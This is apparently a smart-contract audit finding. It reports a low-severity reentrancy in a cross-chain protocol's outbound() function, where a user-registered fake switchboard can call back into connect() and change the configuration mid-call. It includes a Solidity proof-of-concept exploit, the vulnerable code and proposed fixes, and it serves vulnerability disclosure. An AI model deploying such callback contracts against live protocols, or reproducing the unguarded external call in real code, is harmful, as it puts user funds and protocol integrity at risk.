The function outbound()
can cause a reentrancy, because it calls a Swithboard that can be user supplied and thus fake.
With the current code I haven't been able to cause negative effects on the protocol. Future updates of the code might increase the risk. Therefor severity set to low.
- Create a
FakeSwitchboard
, see sample code below - Register the
FakeSwitchboard
viaregisterSwitchBoard()
- Call
connect()
using theFakeSwitchboard
- Call
outbound()
- Function
outbound
calls_deductFees()
, which callsswitchboard__.payFees()
switchboard__
is an untrusted address because it can be supplied by the user, in this case its theFakeSwitchboard
- So
FakeSwitchboard.payFees()
is called, which can call back into toPlug
- The
Plug
can callconnect()
again and change theSwitchboards
and(de)capacitor
- Function
outbound()
continues but now has an enhanced version ofplugConfig
- Note: it is relevant that
plugConfig
is astorage
pointer - A potentially different
capacitor__
will be called fromoutbound()
Would expect the parameters inside outbound()
to stay the same during its execution.
Possible solutions:
- use
PlugConfig memory plugConfig
, which makes a copy ofplugConfig
so it can't be changed. - add reentrancy protection to
connect()
andoutbound()
The connect()
parameters can be changed via a reentrancy.
function outbound(...) ... {
PlugConfig storage plugConfig = _plugConfigs[msg.sender][remoteChainSlug_];
...
ISocket.Fees memory fees = _deductFees(
msgGasLimit_,
uint32(remoteChainSlug_),
plugConfig.outboundSwitchboard__
);
bytes32 packedMessage = hasher__.packMessage(..., plugConfig.siblingPlug,...); // siblingPlug can be changed
plugConfig.capacitor__.addPackedMessage(packedMessage); // capacitor__ can be changed
...
}
function _deductFees(...) ... {
...
switchboard__.payFees{value: fees.switchboardFees}(remoteChainSlug_); // external call to unsafe address
...
}
POC for a FakeSwitchboard:
contract FakeSwitchboard {
address globalcb;
function payFees(uint32 dstChainSlug_) external payable {
TestWithFork(globalcb).callbackfromfake();
}
function getMinFees(uint32 dstChainSlug_) external view returns (uint256, uint256) {
return (0,0);
}
function registerCapacitor(
uint256 siblingChainSlug_,
address capacitor_,
uint256 maxPacketSize_
) external { }
function allowPacket(
bytes32,
bytes32 packetId_,
uint32 srcChainSlug_,
uint256 proposeTime_
) external view returns (bool) {
return true;
}
function setcallback(address cb) public {
globalcb = cb;
}
}
contract Plug {
address fake;
constructor() {
fake = address(new FakeSwitchboard());
FakeSwitchboard(fake).setcallback(address(this));
socketGoerli.registerSwitchBoard(fake,uint256(1),slugMumbai,uint32(1));
socketGoerli.connect(slugMumbai,plugMumbai,fake,fake);
bytes32 msgId = socket.outbound(slugMumbai,msgGasLimit,payload);
}
function callbackfromfake() public {
socketGoerli.connect(slugMumbai,plugMumbai,OtherSwitchBoard,OtherSwitchBoard);
}
}